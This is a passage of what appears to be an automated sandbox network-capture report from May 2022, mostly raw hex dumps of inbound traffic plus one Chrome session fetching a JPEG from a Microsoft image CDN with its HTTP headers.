50 92 01 14 6f e7 c7 a1 9f 25 76 c4 26 eb e1 f4 ed 37 56 4d 1a d0 99 36 58 99 65 91 64 05 e9 1a 15 a6 a0 78 d5 8f df 4e 
03 d5 5c 71 55 bb da 12 e5 ac 8e cf b0 c0 8f 72 fa db e9 23 dc 51 16 ed 4c 91 d2 95 50 a8 c0 2c 89 fc a3 4e 75 fc 54 c7 
a1 6c 6b 1a d3 86 92 fb fe 93 35 26 cd fc e1 94 4b f5 09 
Data Ascii: h"$E|N:<Y\6k=XMePud6Zu/{-~=qq@>#U@QK=d;dkb]3WJKj95OXdf~IEF$Po%v&7VM6XedxN\qUr#
QLP,NuTlk5&K

2022-05-13 14:42:07 UTC 6859 IN Data Raw: 59 65 57 8d c0 d2 29 d2 cc 72 0b e2 a3 05 93 56 6d f6 7a 30 35 2d 36 ad bb 73 8d ae 6e 45 27 88 8a 4e 0e 82 
d5 a9 d2 7c 94 fe ce 38 e8 a7 50 a9 5d ad 43 73 1d 85 79 90 a0 bb 72 bb b0 9a 55 b4 2c af 2d 58 80 08 d2 32 a5 03 f8 53 
80 c7 2d f2 59 d7 87 07 c4 c5 b1 15 b8 8a d7 b4 d3 06 b9 ee 2a c7 4c f2 23 a7 49 6c cd 3f 7e 39 e9 19 3c 4a 65 7c a3 51 
20 db a5 cc ad 7a 10 a2 07 00 19 14 b7 5d 14 70 20 64 2a c3 87 1c 69 5f 12 76 bc cc ed ec 14 4e a0 f6 d7 17 b3 24 45 34 
2e a1 d5 1c 44 9c db ce 9e a1 a7 86 2e b7 ad 1b 99 f5 b2 9b 48 3d 64 6b 9b 40 55 23 28 72 25 aa 0d 3e 65 55 fc 55 fe 38 
cf 26 7f 95 f1 ed 39 ec e7 81 91 fa ed 21 b2 ec 92 ce f4 aa 10 33 2b cc 02 1b 8f 1f 2c 3a ba a5 ba 79 19 6f 8d 05 2e ed b7 
ec 71 14 bc 8c cf dc 76 24 85 21 11 d2 9d 03 4f c6 a3 
Data Ascii: YeW)rVmz05-6snE'N|8P]CsyrU,-X2S-Y*L#Il?~9<Je|Q z]p d*i_vN$E4.D.H=dk@U#(r%>eUU8&9!3+,:yo.qv$!O

2022-05-13 14:42:07 UTC 6875 IN Data Raw: 53 a9 13 30 0a 82 78 9d 35 ce 87 11 93 6d 9c d9 77 fa c9 d4 16 dc a2 c5 21 28 0e b1 a4 2d 08 d4 41 e0 41 24 
91 4f c3 a5 72 e5 8a b4 ca ee d4 0b 36 cb 6b 56 4e c4 b2 93 2a c8 1b 40 cd 50 11 5d 20 73 a0 e5 9f 86 16 5b d9 39 4b 48 
f7 ea 68 a0 88 58 ee d2 48 d0 82 11 81 70 95 50 0b 0e 9a 86 e0 59 69 c7 56 29 d9 d6 3b f8 4e be e8 ec 1a 70 68 c9 15 
b4 71 99 62 97 f5 5f 80 3c 5a 46 e7 d0 6a 34 e6 57 c7 96 31 57 6f 46 b4 fc 0d 24 c8 5b cd da 09 56 01 12 c3 3c ac a9 dc 
ad 50 35 2a 18 93 99 a7 f8 38 e9 f2 f1 db 59 94 b5 8e 64 20 cb 59 6d b6 d7 69 77 09 8c 90 e8 ea 28 0e 82 c0 51 84 8d 40 
69 af 3e 39 b7 96 12 6d fc 2b d8 df b8 d2 60 b2 5b 29 6f de 42 92 2e 92 55 57 41 28 ba 40 af 49 3e 7a 4e 32 a5 95 74 8d 
75 e3 a9 2d 8a e9 4d bc d1 c9 3b ac 71 02 a1 ea 01 6a 01 a4 
Data Ascii: S0x5mw!(-AA$Or6kVN*@P] s[9KHhXHpPYiV);Nphqb_<ZFj4W1WoF$[V<P5*8Yd Ymiw(Q@i>9m+`
[)oB.UWA(@I>zN2tu-M;qj

2022-05-13 14:42:07 UTC 6883 IN Data Raw: 2d bd bb ee d1 a4 2e 91 bd c0 76 94 89 49 0e aa 1b 87 46 a5 3a bd 39 7a 7f 16 3b 6d 65 89 cc bd bf 0f 87 e1 
6f f9 b5 ef 29 1b d3 db 43 b8 ce d3 7e 92 dc db e4 51 dc a2 2a 01 95 14 1d 55 ab 0f e6 a1 f8 e3 93 14 d6 b0 a6 1e b3 a4 
bf 79 66 4d d4 27 6b b1 7b a2 0f 66 e5 f4 34 a0 12 a5 41 d4 0a f8 32 d3 9f 8e 3b 29 67 77 1d 9c bf 37 e2 26 69 a3 59 3d 
97 f4 fb 18 81 b7 68 d7 54 7a 98 02 07 56 ae af 9b 33 cf 1c 5b b2 55 cd 9f 3e e2 24 8d ed ec 57 1d 86 82 7f d2 2a 58 ab 
13 5d 39 f9 6a 54 e0 74 af 51 3e 58 aa d5 ea 9a d5 69 ed 1b b4 03 6d 9b 8c b7 b2 8b 74 d5 6c b0 b5 59 1d 7a 1c e5 a9 
c9 ca ad f2 fe 51 d3 5c 76 da ef 12 5b bc 6b 97 e5 2a b9 52 e2 8d 3b eb 4b 58 61 06 ea 61 1c 0a 58 bb 50 02 01 0d a4 95 
ad 23 61 ab 3a f1 c7 6d 7a 8a 5f d6 f8 23 ba b9 92 e2 61 d9 
Data Ascii: -.vIF:9z;meo)C~Q*UyfM'k{f4A2;)gw7&iY=hTzV3[U>$W*X]9jTtQ>XimtlYzQ\v[k*R;KXaaXP#a:mz_#a

2022-05-13 14:42:07 UTC 6899 IN Data Raw: 4f a8 63 ab 0b d8 9e fb 7a be 6b 7f a7 4a 25 f3 7a ca 82 99 ed a5 f6 f5 e8 da bb 28 f0 48 88 b1 dc c9 ad 74 b0 
a9 a8 23 a5 97 50 5c 9b ab e5 e0 5b 1a d6 eb 2d 1d be 69 e1 58 b6 9f c3 99 2e a7 4b b4 d8 cd 15 b4 10 55 64 9d a5 92 
49 3b 72 00 ab 5a 51 50 e7 d2 c0 f4 9d 2d c7 36 c6 17 c6 ad 6e 51 a2 8f 9b 4e 76 e4 52 a0 a6 da 85 cc ed 70 25 2b 72 
e8 74 83 a5 6b 22 1e 24 e7 55 a6 b3 a5 a8 1b d4 16 b8 c2 b9 f6 cd 5a f8 7e 93 29 e4 15 77 b6 c9 bc 89 4b 3a 19 10 13 
a8 66 bd d0 28 35 28 cf 2f c3 4a 51 b5 2e 39 b1 dd d7 c5 1a 73 ed db f9 7d 3d 65 d5 40 24 d0 5a 2d b4 91 c6 24 69 27 8d 
d4 ba d7 52 b6 9a 05 54 60 ba 52 ba 99 4f e2 fe 5c 69 56 db 4e 16 8f 84 cc f7 f8 4a 4e 59 5e c5 b5 5d cf 63 14 57 12 2c 
93 a1 05 4a ae a2 17 e6 52 a6 a4 7f fc d6 3a 5b f0 91 8d 7a 95 
Data Ascii: OczkJ%z(Ht#P\[-iX.KUdI;rZQP-6nQNvRp%+rtk"$UZ~)wK:f(5(/JQ.9s}=e@$Z-$i'RT`RO\iVNJNY^]cW,JR:[z

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 6915 IN Data Raw: 04 dc e9 b8 ca f3 dc ac 22 de 39 34 b4 45 a3 d6 da a4 5d 40 ad 41 fd 2d 0a 57 c6 bc 71 ec f5 19 76 f0 e5 a6 
9d b6 0e 06 cd ed 9c f1 ee 32 58 3b db c6 64 43 20 90 80 12 30 f9 64 2b a8 3a d0 29 55 e7 4e 38 33 64 6d 24 9e d8 6a 
de ce c6 6d b9 a5 06 7b 25 9c 36 96 e9 6f 27 d4 db c1 db 8e 59 0a 50 d0 1c cc 6a a5 9b 51 23 4a b1 5f 86 12 c5 48 dd 1c 
75 7e 9f b4 6a ba 6a 1c f6 b0 cf 79 1b 99 e3 8e 52 7f 4a 36 42 33 26 ac 9d 24 a9 63 f1 f9 78 69 18 c3 1e 7a dd bd 8e 38 
72 34 57 19 e3 b5 b7 bf 55 8a de 29 44 b7 15 bb 75 62 a2 9e 93 a7 30 13 3e 03 2e 9d 58 f5 ad 6c 76 b6 eb fa 8d 95 93 
42 dd b7 94 5b c7 92 da dd 21 b6 32 0a 88 db 55 45 6a c7 e6 20 10 7a 4e 91 e5 8f 2b af ba cb 2a ba 57 b0 e7 c9 76 53 b
2 ec f0 4a b7 37 bb 4a e8 84 29 0b 0b 80 50 b1 ea 32 3b 50 1d 5a 
Data Ascii: "94E]@A-Wqv2X;dC 0d+:)UN83dm$jm{%6o'YPjQ#J_Hu~jjyRJ6B3&$cxiz8r4WU)Dub0>.XlvB[!2UEj zN+*W
vSJ7J)P2;PZ

2022-05-13 14:42:07 UTC 6923 IN Data Raw: c1 7f b7 b6 1d e7 6d 67 fa a9 c5 a0 9a 85 21 29 52 e0 1a eb 65 1f 28 e5 d4 9a 72 fb 79 3a 9e a3 1d d7 85 6f 
db c6 d3 f0 cf cb 5e ff 00 65 a4 4e 11 d9 ec 13 ee db e6 dd 71 0d b4 2f 11 8e ef 41 1e ad 07 83 e9 cc b6 86 27 86 bd 03 
56 ad 54 c7 35 ba 7c 6e 21 2b 5a 13 fe 57 f0 fb 8b 71 10 59 ed bf 64 bd e6 dd 79 65 0c f2 43 b8 c1 28 7a 2b 12 1a 37 14 
78 d9 94 3d 18 71 59 07 4a ab 7c b8 f5 d5 53 95 f3 6d f5 d7 dc 60 d2 06 96 e5 ee 2f ac d7 72 20 fd 3f 48 68 ce 9a a0 ad 
18 90 19 98 29 d6 9d 3c 5d b5 65 8f 22 8b 62 7b 75 db cb fe 21 0b 89 9d bc 4d b5 6c 11 31 b0 9a 5b 64 53 23 3c 73 11 
22 02 5b 52 46 83 d4 9a 49 cd db 53 53 f1 72 d6 3c f6 bc 3e 2e ef 4f 11 85 ab 27 3f 75 ba 6e 1e e0 9e 2b dd d4 32 08 23 
22 35 8d 0b 54 0c c0 23 2d 02 95 23 ff 00 69 c6 b4 c7 4c 09 
Data Ascii: mg!)Re(ry:o^eNq/A'VT5|n!+ZWqYdyeC(z+7x=qYJ|Sm`/r ?Hh)<]e"b{u!Ml1[dS#<s"[RFISSr<>.O'?un+2#"5T#-#iL

2022-05-13 14:42:07 UTC 6939 IN Data Raw: 2f 6e d6 19 23 46 12 48 a6 bd ba 96 e3 ad c9 a7 24 55 a8 c6 f8 b0 a9 75 5a c7 a7 f1 32 59 5d b4 48 c5 bc bf 
6d b6 31 b9 6e 32 76 9d db 54 31 a9 14 7a 66 a8 47 3d 24 d7 f2 e3 b3 1e 3d ef 65 14 c7 c5 6f a7 b6 de d3 7c 77 9d 0d 6f 
6b 7b c1 7d ca a7 69 92 de d8 f7 eb 6f 23 3a 1e ea b0 cd 1d 1a bf 37 3c 85 78 f2 c6 f9 ab fd a5 2d a4 ca 56 dd f7 fa a0 ee 
aa 95 04 b7 d9 a3 f6 c5 ec 5b 7f 69 67 77 41 3a cb a9 56 29 96 a1 5c 55 41 2c ca 4e 86 47 3f 1c 2a e0 b5 56 f9 f0 c6 9c f6 
ee 53 ee 25 78 5f 69 87 ee d9 cd e6 f1 60 65 ed c4 8b e8 28 4d 34 a8 14 62 0e 6b 4c 2e 95 6d c7 78 9b 37 c7 db c8 76 
d5 9d b4 db b5 ae db b3 49 6f 6c d1 4b b8 cf ad da 5c b2 56 35 65 71 c7 ae bd 2b cb 1c f5 4a a9 2f bb 95 62 20 2c d5 54 
19 bb 2d 8e f5 6f 61 df dc 9d 9a d4 49 dd 53 5d 52 30 
Data Ascii: /n#FH$UuZ2Y]Hm1n2vT1zfG=$=eo|wok{}io#:7<x-V[igwA:V)\UA,NG?*VS%x_i`e(M4bkL.mx7vIolK\V5eq+J/b 
,T-oaIS]R0

2022-05-13 14:42:07 UTC 6955 IN Data Raw: bf f1 31 b5 90 24 d7 65 d8 de a9 ed 5d b9 8c 73 67 d1 21 a2 86 ce 81 7f 93 56 a5 ab 74 e5 8d 96 35 b6 1b 95 
ae 9f 2c d7 8b fe 3c c9 64 36 a1 7a 60 d5 71 2c 50 42 b5 58 dc 05 1d 20 7a ca aa b1 72 f9 fa b4 f1 cb 15 92 b5 6f 4f 6a 73 
fd 3e c3 35 56 b8 86 a3 dd 6e 37 e4 c6 51 ec d6 32 25 45 2a 3b 4e d9 ab b3 30 d4 1b 47 cb a8 2d 78 63 93 c3 8e 9a ca 
b4 f8 78 f8 d7 66 9f 98 a4 8d ab 8d ba 38 b4 f6 e5 5b 8e c4 7e 86 24 2a 93 cd 5a 9f a8 72 a1 f5 7f 1c 72 e2 b3 bc b6 b6 fb 
a6 cb d5 c8 da ca 0c 99 2f b6 fd c0 36 dd 0d d0 82 55 53 1c aa 18 ea 15 a9 72 8c a4 15 a6 67 46 3b fc b7 58 bc 37 31 c5 
69 ff 00 a9 2c 05 f7 fb 67 8e 27 bf 33 c6 8e 19 19 b4 e8 a5 2a ab 93 69 d5 ad 74 ea 00 aa ab 7a b1 75 e9 5c f8 63 b7 ea 
fb bb 08 a2 97 27 43 6b bb 6d d6 51 88 6d 22 8f ea 94 
Data Ascii: 1$e]sg!Vt5,<d6z`q,PBX zroOjs>5Vn7Q2%E*;N0G-xcxf8[~$*Zrr/6USrgF;X71i,g'3*itzu\c'CkmQm"

2022-05-13 14:42:07 UTC 6962 IN Data Raw: b6 b0 c5 64 00 3f 6a 26 5a d5 72 12 a9 6f 4e 9d 21 11 35 9c 9a 98 fa 6a 75 bf dc 51 2d aa b6 aa 7c 39 3b 2e 
3e bd 75 36 a5 24 f4 7f 6f ed 03 6f b2 2d 6d 24 32 07 8d 44 8c a1 9f ad da b5 56 6a 2b 30 a9 d3 97 6d 5a b5 6a d3 1f 2f 
9e e9 dd 2b 4e ef 97 d3 d1 97 b1 27 26 ec fa 7d b9 6b 75 7b b6 49 1c 53 a4 41 57 5e 60 b3 93 55 53 d4 81 ba cf 55 79 9c 
fa ab 8f 6f a4 71 76 df f2 9d 98 e3 9f b0 c1 8b 61 f7 26 ff 00 14 1b 85 e5 c5 b4 6b a4 1a 5b 28 52 aa 07 0d 2c 15 4b 54 36 
b7 d7 5c 8d 0f 56 37 ea e9 5b eb 54 9f 2f 17 de 3c 89 47 03 66 da df 6b 9a d3 56 e3 66 1a 6e d9 ff 00 be c8 4a 8a e4 03 
a5 bd 71 fe 5e a6 cb 1e 2b ce e9 8e 29 54 e5 f0 e5 b5 7e 53 9d 38 5c 02 26 46 99 85 a8 d7 25 b6 a2 35 33 53 b6 10 d0 
46 5c 7a d9 f9 fa 8f e2 c8 d3 02 e9 69 5b 6e ae 8a dc 51 
Data Ascii: d?j&ZroN!5juQ-|9;.>u6$oo-m$2DVj+0mZj/+N'&}ku{ISAW^`USUyoqva&k[(R,KT6\V7[T/<GfkVfnJq^+)T~
S8\&F%53SF\zi[nQ

2022-05-13 14:42:07 UTC 6978 IN Data Raw: eb cd 4e 58 3a 9c b6 54 dc d6 bf 12 95 dc 17 53 c4 e2 f7 ed ef fa 4d eb 5d 58 29 16 69 18 8a 35 2f 4a fa 75 09 
85 58 b6 ba a7 3f 8e 3c ee 9b 0b c9 4d b6 7e 27 ad b4 f5 c6 cf d3 a9 9a ec 23 ed eb bb 3d da d2 f3 51 b6 8e d5 dc c5 29 
59 34 96 ea 03 f4 3b 86 af 4f 58 f4 ab 28 2b 8e cb 63 78 ec a6 74 ae ef 12 96 bd 7b 79 f6 95 5a c7 13 a4 9e e3 6f d9 a2 
68 61 2c 50 88 bb b3 37 49 53 19 32 66 cd d2 a5 89 0c ca 3c b1 e5 56 f7 ba 69 73 f7 db 97 87 99 ab 75 ae 88 ab 7b be 
5b ab 43 24 aa b2 4b 2a 95 82 67 e8 8b 48 53 52 cc c0 72 cf 4f a7 ef c6 38 31 aa b8 53 a3 f1 55 6b 6f 77 e2 45 9d 5b 39 
6f 6d 8d aa c3 71 16 c2 56 be 79 4b a6 bb 56 a3 29 75 a8 ee ea aa 34 71 bf 9e af 97 85 31 ee e5 dd 7a 4d ab b2 16 8a 
dd dc 36 f3 d7 9f de 62 b1 e8 68 6e 3b f5 8e c7 6b 6b 6d 24 
Data Ascii: NX:TSM]X)i5/JuX?<M~'#=Q)Y4;OX(+cxt{yZoha,P7IS2f<Visu{[C$K*gHSRrO81SUkowE[9omqVyKV)u4q1zM
6bhn;kkm$

2022-05-13 14:42:07 UTC 6994 IN Data Raw: ca f6 7b 8c d1 cb 1a 99 67 1d c6 01 c1 ed fc ca 68 fc 83 31 ea d5 f8 7c 7b ef 4f ee 35 a2 75 d2 38 78 74 73 ea 
ee ee 39 f1 e8 cd 0d c1 67 db ec e3 8e 20 e9 6f 2a 88 a3 91 18 82 c6 43 c2 a7 82 9a b5 2a 3a 51 79 b6 58 e2 c7 65 6b 37 
f3 2d 6c 9f e5 f4 f6 b3 4b 27 32 50 67 9b 61 74 92 da 16 4b a6 b5 53 24 45 b2 1d ba 90 a6 ba 46 85 46 55 5d 45 5b 87 e6 
c7 45 2c db d5 f8 77 71 ed 57 f5 73 6f c4 16 70 46 c6 3b ab 9b 34 dc 6f 61 2b d2 22 8d 8b ab a2 d1 49 77 d3 e9 62 58 69 
cb 8f ca b8 57 a2 4d aa 3d 26 5e 9b 6d dc 84 90 5e db 73 27 6d 5b 6f 98 4e 5e dd 9d 9e 45 03 b5 56 d2 a5 43 53 5b 30 
20 ac 65 75 1e 5c b0 b2 74 ea cb 5d 1a 7a d5 3f a7 bf f1 46 f5 d3 81 bf fd 3b 6f 5b 97 b8 9e 57 84 4e 85 43 22 52 42 ec 
a5 14 aa 93 a5 68 c7 d5 f2 fa 72 c7 9f 81 b6 d5 2f c1 7f 
Data Ascii: {gh1|{O5u8xts9g o*C*:QyXek7-lK'2PgatKS$EFFU]E[E,wqWsopF;4oa+"IwbXiWM=&^m^s'm[oN^EVCS[0 e
u\t]z?F;o[WNC"RBhr/

2022-05-13 14:42:07 UTC 7002 IN Data Raw: e8 fb 34 e7 c0 e3 6a e0 ad 2d e1 6a da fa fe d2 5a 01 dc 26 8a 78 e0 86 2b a9 8c 51 00 59 e4 20 d1 5e ba 54 
a9 ee 6b 00 7a 59 d8 e3 a2 95 db 66 e1 6b d8 a3 87 c5 1c 20 4d 49 9d b6 a3 5c 6e 0f 61 b8 23 5c b4 64 38 49 05 64 60 
7a 7b 6a a8 0a 74 af 50 cf f3 2e 58 ea cb 5f 0c e2 f0 ce 9a 7f 56 e7 f3 6b cc c9 d5 a7 06 d4 d2 da c5 65 6e 20 8f b5 64 f3 
76 aa 8a 55 57 5a ea ac 99 e4 50 73 ff 00 af 1c 0a ae d6 73 ad d2 dd c7 c4 f5 f9 4d a0 d3 b1 5b 3b 29 5a 69 26 49 e5 6a 
c7 18 9f 52 2b 10 57 4b 17 61 48 c4 83 e6 d3 9f cb 96 39 ae 9d d4 7c 3c ed b6 2d 1e ef 8a 01 e8 09 79 b4 ed 3e e0 73 7d 
75 6f da bc 79 09 65 8e 4d 20 9f 45 5c 96 ad 01 e5 40 c7 57 9e 34 ae 6c 98 7c 35 7e 08 d2 54 fb bd 39 11 06 ac b7 51 7e 
92 db 5a 49 2b aa b0 4d 4a ab 2b 20 20 1e 82 69 a7 3e 85 
Data Ascii: 4j-jZ&x+QY ^TkzYfk MI\na#\d8Id`z{jtP.X_Vken dvUWZPssM[;)Zi&IjR+WKaH9|<-y>s}uoyeM E\@W4l|
5~T9Q~ZI+MJ+  i>

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 192.168.2.3 49925 80.67.82.235 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:15 UTC 9779 OUT GET /cms/api/am/imageFileData/RE4O881?ver=cda9 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-05-13 14:42:15 UTC 9780 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4O881?ver=cda9
Last-Modified: Sun, 08 May 2022 06:00:44 GMT
X-Source-Length: 702967
X-Datacenter: northeu
X-ActivityId: 4c798ce4-9f97-41de-a2c2-857a0bf18f98
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 702967
Cache-Control: public, max-age=357506
Expires: Tue, 17 May 2022 18:00:41 GMT
Date: Fri, 13 May 2022 14:42:15 GMT
Connection: close

2022-05-13 14:42:15 UTC 9780 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-05-13 14:42:15 UTC 9796 IN Data Raw: 6e df f3 cf ef a5 02 41 24 6c d2 7c d1 ec f9 3f dc fd 2a 3f 2f 64 11 b7 99 26 f5 ff 00 c7 37 54 97 0b 17 ee d6 4f 
e2 dc 9e 67 ff 00 ae a4 b8 87 74 9b 97 fd cf 2e 3f f6 56 82 93 7b 0d 86 1d b3 ed 86 3d 8e df be f3 3f 8d 29 bb 95 a0 dd 24 
71 be d4 64 fd df c8 fb bf 95 4c b2 7e ee 36 f2 e4 49 7f 83 fb 9b aa bd f3 7d 9e 4d ab e6 79 ad f2 3c 91 fd f7 ff 00 7b b5 55 
cb 43 64 91 7c b8 23 f3 3e ea 54 37 17 11 2f 98 cd f7 fe fb d4 77 12 4a bf 2c 92 46 8f f2 ff 00 07 f9 35 55 a4 66 92 36 fb 
88 df 27 99 1f fb 5e 94 5c 66 92 dd 32 fc b2 47 1a 6d 76 df fe df d2 86 9b 6c 72 49 1c 92 6c 4f 93 7c 8f fc 3f d2 a9 b2 ed 8
3 cb 8f cb 77 5d bf eb 13 e4 a9 23 b8 9d 67 db f7 1f e5 d9 24 9f c7 f2 f2 29 92 5a 92 69 5a 38 da 4f ee 7f c0 fe 6a 8d 66 db 
f2 c7 f2 26 ff 00 ef fc fb bd 
Data Ascii: nA$l|?*?/d&7TOgt.?V{=?)$qdL~6I}My<{UCd|#>T7/wJ,F5Uf6'^\f2GmvlrIlO|?w]#g$)ZiZ8Ojf&

2022-05-13 14:42:15 UTC 9812 IN Data Raw: f5 a2 d6 19 65 93 fd 8d 9f f2 cd 3e 7f c7 fa 55 cf b0 ac b0 46 d2 7f c0 3e f5 4c b0 f9 51 ed 6f b8 db 7f d5 a7 f7 
9b 35 a3 9a 44 da e5 1f b2 c1 2f ee db cc 47 67 ff 00 57 1b fd cf 5c ff 00 7a 9b 24 6a be 5c 73 7f f6 14 49 ae 58 c5 75 f6 
79 3e 44 6d c8 9f e3 5a 4b 66 be 5c 72 47 f3 ff 00 7f cb fb 88 bd ab 41 98 73 42 d2 79 8d 1f df fb 8f 27 f1 ed fa 9a 8d 6d 
7c af dd c9 f2 44 bf f3 d3 f8 3d ff 00 ef af ce ba 25 86 2b a9 24 66 8e 47 75 4f 92 3f ff 00 5d 57 6d 35 9a 3f de 7d ff 00 f3 
8a 06 65 db d9 cb 33 ee fb 9f dc f2 ff 00 98 ad 48 ed 5a 5f 2f 74 71 a6 e4 6d 9f ed ae ee 9e d5 61 6d e7 ff 00 96 7f 3b fd ff 
00 b8 bf 3e de f5 7a 1b 7f dd f9 cd fc 3f c7 f7 f6 2f 7a 39 ac 26 cc 98 ed 59 bc c6 58 fe 45 f9 3f b8 9f 7b f8 56 a6 58 d6 d6 
7f f5 72 27 c9 b1 24 93 f8 
Data Ascii: e>UF>LQo5D/GgW\z$j\sIXuy>DmZKf\rGAsBy'm|D=%+$fGuO?]Wm5?}e3HZ_/tqmam;>z?/z9&YXE?{VXr'$

2022-05-13 14:42:15 UTC 9814 IN Data Raw: 1d db e4 fd df fe 87 5c bd f4 2a d2 7f b0 df 27 fd f3 f5 f5 ae b2 f3 74 b6 bb 57 f8 bf e7 9e dd ff 00 2f 6a e6 66 87 
ec f3 c9 fb cf 91 bf e7 9c 7f 3d 78 b8 59 ea db 28 c9 ba 5f 2a 3f 97 fe 5a fc 9e 47 f7 f7 2d 66 dd 5a b2 c7 e6 34 92 3c bf ee 
2f e5 b7 bd 6b 5c 2c 52 7e ed be 79 7f 8e 38 ff 00 83 fe 05 55 db e5 8d f7 7e fd 3f dc 64 f9 5a bd 3f 68 ba 90 f4 31 fc 96 6f 
96 3f 31 1e 54 ff 00 73 e5 5a bd 0c 9b 24 8d 63 8e 38 df 66 fd 9b 3e 4f cf b7 bd 12 5b b2 cf e5 f9 72 7f 7e 69 23 fb fb 69 cd
1a a7 96 de 5c 7b 17 e7 f3 37 ec f9 7f 1a 1d 45 6d 08 dc b9 0b 45 15 bc 71 c3 24 7b 3e e7 ef 3f bd ff 00 b3 56 a6 9e ab 6f 
27 cd fe b7 ee 7f 15 67 d9 b3 79 72 37 97 fb df fa 66 9f dd e3 3f 85 6b 5a c6 de 66 e5 fb d2 ff 00 cb 4a e0 9d 65 d4 d9 1b 
56 f2 2a f9 6c b2 7f b1 
Data Ascii: \*'tW/jf=xY(_*?ZG-fZ4</k\,R~y8U~?dZ?h1o?1TsZ$c8f>O[r~i#i\{7EmEq${>?Vo'gyr7f?kZfJeV*l

2022-05-13 14:42:15 UTC 9830 IN Data Raw: c5 27 72 ab 4d e5 49 e6 79 7f c7 f2 7f 43 f5 a6 c9 71 bb e5 8f e7 46 f9 1f fd da 87 ce dd 24 72 2f c9 bb ee 7f 07 
cb df 3f ed 53 a4 f9 a3 db fc 6a 8b fe ad 3f da ae c8 c1 21 8d 9a 45 fb ab f7 d7 fe 79 fc ff 00 2a f5 e4 d7 3f e2 8d 53 ec 1e 
65 e7 ef 3c d8 be fc 7f dc fa ad 6e 5c 48 d2 c7 fb cf bd f7 fc ba c9 f1 07 87 e0 d5 ad 63 8d a3 f9 db e7 7f 2d ff 00 85 b8 e7 
fb b5 8d 75 29 42 d1 dc 66 5f 81 fe 21 2e a5 e6 59 f9 9b 36 ee 4f 32 44 f9 df 6b 7a 74 af 40 69 37 79 6d fe a1 36 7c 92 6f f
9 ff 00 03 5e 1e be 1d 9f c2 fa 93 c9 0f 99 e5 33 fc 92 6f fb ed e8 7f a5 7a 85 8e bc da 96 97 24 76 ff 00 eb 62 ff 00 5d e7 
fe 5f 9f ad 70 52 94 e9 53 fd ee e1 63 a0 68 fe d9 04 fb be e7 fc f7 91 d7 ef 57 13 e2 c5 96 df 52 f3 bc b9 12 58 91 5d fc 
b7 d8 ef f3 7e b5 b5 a4 f8 
Data Ascii: 'rMIyCqF$r/?Sj?!Ey*?Se<n\Hc-u)Bf_!.Y6O2Dkzt@i7ym6|o^3oz$vb]_pRSchWRX]~

2022-05-13 14:42:15 UTC 9846 IN Data Raw: 02 5e be d5 24 31 af 99 1a c7 fd ff 00 92 49 d3 7e ff 00 97 fa d0 50 e8 e1 5f 2e 35 58 d3 fb e9 f3 ff 00 0e de 6b 
42 de 35 8a 39 3c 9f be bf 27 99 54 e1 8f fd 5a ac 72 7c db 7f 8f fb be 86 ae 79 8d 14 7b 63 fe 27 fe e5 41 05 5b 89 36 cf 
23 79 7f 7b e7 4f 3f f9 d5 5b 86 81 64 49 a4 f3 13 ef 6f a6 dd 5e 2c 53 f9 7e 64 9f 2a 37 93 f3 ef df f9 d5 19 2f 20 8a 39 23 
6f 32 7f fa 67 54 8b 48 9b ed 5e 6f 97 fb cf 9d bf f4 1f f9 e9 fe f5 13 48 ad f3 47 3e f4 d9 ff 00 2d 3f cf e7 54 64 bc 58 a0 dc 
d2 7c 9f f4 cf ff 00 ad f7 96 85 bc 66 7d cd f3 cb 2b ff 00 bf bd bd a9 8c 73 49 bb cc dd e6 23 ff 00 e8 6a bf 5a 75 bb 4a d3 
c8 de 5c 10 4b fc 1f 27 df ac f8 ef 1b cb ff 00 96 7b 97 e7 7f 33 e7 fd 6a d2 dc 2a c9 f3 47 1b ba ee ff 00 7d 3b f4 3d 28 11 
b9 ba 29 6c 7c c6 f3 
Data Ascii: ^$1I~P_.5XkB59<'TZr|y{c'A[6#y{O?[dIo^,S~d*7/ 9#o2gTH^oHG>-?TdX|f}+sI#jZuJ\K'{3j*G};=()l|

2022-05-13 14:42:15 UTC 9854 IN Data Raw: 3b 71 2e bd e2 69 1b fd 45 93 6e 9a 1f 33 e7 d9 b7 b1 ff 00 eb d7 55 e2 0b cd b7 d2 48 df 3c 5f 2f f9 51 ff 00 
b2 d6 18 1a 5e f5 a7 b8 a3 0e 4d 0c bd 41 56 df cb fe 38 9b e7 f2 e4 fe 0f a5 66 c9 0b 5c 5d 6e b8 93 c8 fb 47 ce 92 49 f3 
fc df fe cd 5c d4 a4 dc 92 2f f7 76 bf fb ea df ed 0e 45 73 2d ac 4a be 64 73 79 68 ea ff 00 f7 da b2 fd e3 f4 fc fd ab d7 a9 
